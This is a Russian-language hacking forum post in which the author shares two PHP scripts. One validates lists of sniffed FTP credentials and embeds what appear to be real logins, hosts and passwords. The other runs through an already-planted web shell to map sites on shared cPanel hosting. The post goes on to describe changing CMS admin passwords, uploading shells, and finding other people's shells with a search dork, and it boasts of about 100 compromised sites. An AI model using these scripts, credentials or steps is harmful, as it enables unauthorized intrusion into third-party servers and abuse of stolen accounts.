codeismy.name
Сообщений: 618
Оценки: 0
Присоединился: 2009-07-19 00:30:13.200000
|
собственно предлогаю выкладывать тут ваши скрипты по автоматизации часто выполняемых действий. указываем где использовался, для чего нужен, как пользоваться приведу пример двух своих скриптов, которые часто использую при взломе консольный чекер наснифеных фтпшников на работоспособность (использовал при проверке 60к наснифеных фтпшников, в результате валидными оказалось около сотни) выполняем его так $ php /путь/к/файлу.php естественно должен стоять пакет php5-cli ну или же можете выполнить его на прямую через обработчик /usr/local/bin/php /путь/к/файлу.php смотря куда у вас пхп собран <?php
ini_set("error_reporting",E_ERROR);
$ftps=array("ftp://Morgachev:ChHgB@77.239.190.28:21", "ftp://user12:121212@nvs324.mirohost.net:21");
//тут массив из фтпшников
$ftps=array_unique($ftps);
$log='';
if(!empty($ftps))
foreach($ftps as $ftp){
if(substr($ftp,0,6)=='ftp://') $ftp=substr($ftp,7,strlen($ftp));
preg_match_all('!^(.*)\:(.*)?\@(.*)\:.*!Ui',$ftp,$ftp);
if($ftp[1][0]!=''&&$ftp[2][0]!=''&&$ftp[3][0]!=''&&$ftp[1][0]!='anonymous'){
?>
Логин: <?=$ftp[1][0];?>
Пароль: <?=$ftp[2][0];?>
Хост:<?=$ftp[3][0];?>
<?
// set up basic connection
$conn_id = ftp_connect($ftp[3][0]);
// login with username and password
$login_result = ftp_login($conn_id, $ftp[1][0], $ftp[2][0]);
// check connection
if ((!$conn_id) || (!$login_result)) {
echo "
Ошибка: не могу приконектиться к ".$ftp[3][0]." под пользователем ".$ftp[1][0]."
";
} else {
$log.='ftp://'.$ftp[1][0].':'.$ftp[2][0].'@'.$ftp[3][0].':21
';
echo "Подключено ".$ftp[3][0].", для пользователя ".$ftp[1][0]."
";
// получаем список файлов и папок в заданной дериктории
// $contents = ftp_nlist($conn_id, ".");
// print_r($contents);
}
// close the FTP stream
ftp_close($conn_id);
}
}
?>
<?print_r($log);?> скрипт анализа конфигов апача, использую обычно для просмотра большого числа конфигов апача. к примеру у вас есть хостинг с цпанелью.. конфиги у него находятся в папке /hsphere/local/config/httpd/sites получив абсолютные пути к сайтам вы через шел (на пример wso 2.3) можете прочитать конфы той же джумлы или вп, сменить пароль на админском юзере и залить через админку шел, у которого уже будут права на запись :) так с помощью этой баги ломанул порядка 100 сайтов на 2-х серверах … использовать так: 1) у вас должен быть уже залитый шел (шелов можно найти с помощью гуглхака intitle:c99madshell и фпирёд) 2) через шел заливаем на взломаный акк этот скриптик и выполняем его в браузере. на сервере создаётся лог в нём смотрим пути и адреса сайтов формат вывода лога всегда можете настроить под себя
<?php
$confs_dir='/hsphere/local/config/httpd/sites'; // папка с конфами апача (стандартно для cpanel)
$rejex1='!DocumentRoot (.*)!i'; // регулярка для поиска документ рута
$rejex2='!ServerName (.*)!i'; // регулярка для поиска домена
$sort=true; //отсортировать лог по завершению
$log_name='log.txt'; //задаём имя лог
$files=scandir($confs_dir);
/* часто возникает необходимость ограничить число проверок за 1 раз в связи с тем,
что серверная мощьность ограничена а на сервере может находиться несколько тысяч аккаунтов,
по этому ставим по желанию ограничитель */
$st=0;//с какой итерации начать
$end=1000; //сколько файлов проверить
if($st==0)$o='w+';else $o='a'; //если итерация первая на всякий случай очищаем лог
$fp=fopen($log_name,$o);
ini_set('error_reporting',E_ERROR);
sort($files);
foreach($files as $file){
$st++;
if($st<=$end)
if($file!='.'&&$file!='..'&&fopen($confs_dir.'/'.$file,'r')){
$c=file_get_contents($confs_dir.'/'.$file);
$c=explode('\n',$c);
$log='';
foreach($c as $str){
if(preg_match($rejex1,$str,$matches,PREG_OFFSET_CAPTURE)) $log=$matches[1][0]."{";
if(preg_match($rejex2,$str,$matches,PREG_OFFSET_CAPTURE)) $log.=preg_replace("! !","",$matches[1][0])."} найдено в файле ".$file.":".$st."\n";
}
if($log!='') fwrite($fp,$log);// запишем изменения сразу на случай если не дай бог соединение оборвётся.
}
}
if($sort) {
$log=explode('\n',file_get_contents($log_name));
sort($log);
$fp=fopen($log_name,'w+');
fwrite($fp,implode('\n',$log));
}
echo 'iteration: '.$st; //а теперь выводим итерацию на которой остановились
|